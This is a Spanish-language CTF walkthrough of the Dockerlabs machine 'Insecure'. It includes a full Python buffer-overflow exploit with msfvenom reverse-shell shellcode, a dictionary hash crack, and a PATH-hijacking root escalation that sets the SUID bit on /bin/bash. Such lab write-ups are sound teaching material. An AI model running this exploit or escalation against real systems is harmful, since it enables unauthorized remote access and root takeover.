> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/insecure.md).
# Insecure
TAG -> Dockerlabs | CTF
Datos
* Máquina -> Insecure
* Dificultad -> Difícil
* Creador -> [4bytes](https://github.com/4bytess/)
Nuestro objetivo en este laboratorio es la máquina con IP `172.17.0.2`. Como primer paso, verificaremos la conectividad con la víctima mediante el comando `ping`:
```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.124 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.124/0.124/0.124/0.000 ms
```
Como podemos apreciar, tenemos conectividad con el equipo. Además, el **TTL de 64** es un indicio de que podríamos estar frente a una máquina **Linux**, aunque no confirma por sí solo su sistema operativo. A continuación, creamos nuestros directorios de trabajo con `mkt` y entramos en la carpeta **nmap** para identificar los puertos expuestos.
```bash
nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
```
**Resultado**
El escaneo identifica **2 puertos abiertos**: el **80** y el **20201**. Vamos a revisar los servicios asociados a ellos:
El puerto **20201** parece estar asociado a un servicio ejecutado por un binario. Por ahora no sabemos cómo explotarlo, así que revisaremos primero la página web disponible en el puerto **80**:
La página nos permite descargar un binario llamado **secure\_software**. Al ejecutarlo localmente, observamos que se pone en escucha en el puerto **20201**. Además, al conectarnos mediante `nc`, comprobamos que su comportamiento coincide con el del servicio que se está ejecutando en la máquina víctima. Esto nos permite analizar el mismo programa en nuestro entorno antes de intentar explotarlo.
> Este binario también lo tomé como ejemplo para explicar cómo se produce y se explota un **Buffer Overflow**. Pueden consultar el análisis y la resolución en: [Introduccion al Buffer Overflow](https://novahacking.gitbook.io/anonymous17/articulos/introduccion-al-buffer-overflow)
**`exploit.py`**:
```python
#!/usr/bin/python3
from pwn import *
def exploit():
host="172.17.0.2"
port=20201
offset = 300 # Tamaño exacto antes de EIP
buffer = b"A" * offset # Relleno antes de sobrescribir EIP
eip = b"\x13\x92\x04\x08" # 8049213 -> Dirección de jmp ESP en little-endian
nops = b"\x90" * 32 # NOP sled para estabilidad
# Shellcode generado con msfvenom
shellcode = b""
shellcode += b"\xba\x09\xdc\x81\x12\xd9\xc1\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x12\x31\x50\x12\x03\x50\x12"
shellcode += b"\x83\xe1\x20\x63\xe7\xc0\x03\x93\xeb\x71\xf7"
shellcode += b"\x0f\x86\x77\x7e\x4e\xe6\x11\x4d\x11\x94\x84"
shellcode += b"\xfd\x2d\x56\xb6\xb7\x28\x91\xde\xeb\xda\x61"
shellcode += b"\x1f\x9c\xde\x61\x1b\x8e\x56\x80\x93\x48\x39"
shellcode += b"\x12\x80\x27\xba\x1d\xc7\x85\x3d\x4f\x6f\x78"
shellcode += b"\x11\x03\x07\xec\x42\xcc\xb5\x85\x15\xf1\x6b"
shellcode += b"\x05\xaf\x17\x3b\xa2\x62\x57"
# Estructura final del payload
esp = nops + shellcode # NOP sled seguido del shellcode
payload = buffer + eip + esp # Buffer final
# Envío del exploit al servicio objetivo
try:
print("\n[*] Iniciando Ataque...")
conn=remote(host,port)
conn.sendline(payload)
conn.close()
print("[+] Payload enviado correctamente!!!\n")
except Exception as e:
print(f"\n[-] Error al enviar el payload: {e}\n")
if __name__ == '__main__':
exploit()
```
Con el `exploit.py` preparado, nos ponemos en escucha en el puerto **1234** para recibir la conexión inversa y ejecutamos el script. En el payload conservamos el **offset de 300 bytes**, la dirección de salto a **ESP**, el **NOP sled** y el **shellcode**, tal como se muestra en el código anterior:
El exploit funciona correctamente y recibimos una conexión que nos permite acceder a la máquina víctima como el usuario `securedev`. Nuestro siguiente objetivo es escalar privilegios hasta **root**. Al enumerar el directorio `home` de `securedev`, encontramos un archivo llamado `hashfile`, que podría contener información útil para avanzar:
Para obtener más información sobre los usuarios del sistema, utilizamos el módulo `enumerate.user` de `pwncat-cs`. Su resultado nos muestra lo siguiente:
Entre las cuentas enumeradas encontramos al usuario `johntheripper`. Como también tenemos el archivo `hashfile`, podemos analizarlo localmente mediante `hashid` para intentar identificar el algoritmo de hash utilizado:
Según los resultados de `hashid`, una posibilidad es que se trate de un hash `md5`, aunque debemos recordar que esta herramienta propone formatos posibles y no siempre puede confirmarlos. Utilizaré mi script en **Python** para intentar recuperar la contraseña mediante un ataque de diccionario:
Tras probar con `rockyou.txt`, no conseguimos recuperar la contraseña. Esto no significa que sea imposible encontrarla, sino que no apareció entre las palabras probadas. Por lo tanto, buscaremos otros archivos en el servidor, especialmente aquellos que pertenezcan al usuario `johntheripper`. Para ello utilizaremos `find` de la siguiente manera:
```bash
find / -user johntheripper 2>/dev/null
```
**Resultado**
El comando devuelve **2 resultados**. Uno de ellos es `/opt/.hidden/words`, cuyo contenido revisamos con `head`. Las primeras líneas muestran una lista de palabras, por lo que sospechamos que podría contener la contraseña de `johntheripper`. Descargaremos este archivo y lo utilizaremos como una **wordlist** para volver a probar el hash.
Con esta nueva **wordlist** conseguimos recuperar la contraseña: `tset0tevst!`.
Comprobamos que la contraseña `tset0tevst!` funciona y conseguimos acceder como `johntheripper`. Ahora continuaremos la enumeración para encontrar una forma de convertirnos en **root**.
Dentro del directorio `home` de `johntheripper` encontramos un binario **SUID** llamado `show_files`. Al ejecutarlo, observamos una salida similar a la del comando `ls`. Para comprender exactamente cómo funciona, descargamos el binario y lo analizamos con **Ghidra**. En `CodeBrowser`, el descompilador nos muestra una representación aproximada del código **C** del ejecutable:
Efectivamente, observamos que el binario utiliza la función `system` para ejecutar `ls`. El problema es que llama a **`ls` sin especificar su ruta absoluta**, como `/bin/ls` o `/usr/bin/ls`. De esta manera, la shell busca el ejecutable siguiendo el orden de directorios definido en `$PATH`. Si podemos controlar esa variable, podríamos hacer que `show_files` ejecute un archivo llamado `ls` creado por nosotros en lugar del comando legítimo. Esto se conoce como **PATH Hijacking** y es especialmente peligroso cuando interviene un binario **SUID** que conserva privilegios elevados. A continuación, modificamos `$PATH` y creamos un script llamado `ls` que intenta activar el bit **SUID** sobre `/bin/bash` mediante `chmod u+s`. Después ejecutamos `show_files` y utilizamos `bash -p` para intentar conservar los privilegios efectivos obtenidos en este laboratorio:
```bash
echo "chmod u+s /bin/bash; echo 'bash -> SUID'" > ls
chmod 755 ls
cat ls
export PATH=/home/johntheripper:$PATH
./show_files
bash -p
```
**Resultado**
Con este último procedimiento conseguimos elevar nuestros privilegios hasta **root**, aprovechando la configuración insegura del binario **SUID** `show_files` y la búsqueda de ejecutables mediante `$PATH`. De esta forma damos por resuelto el CTF **Insecure**.
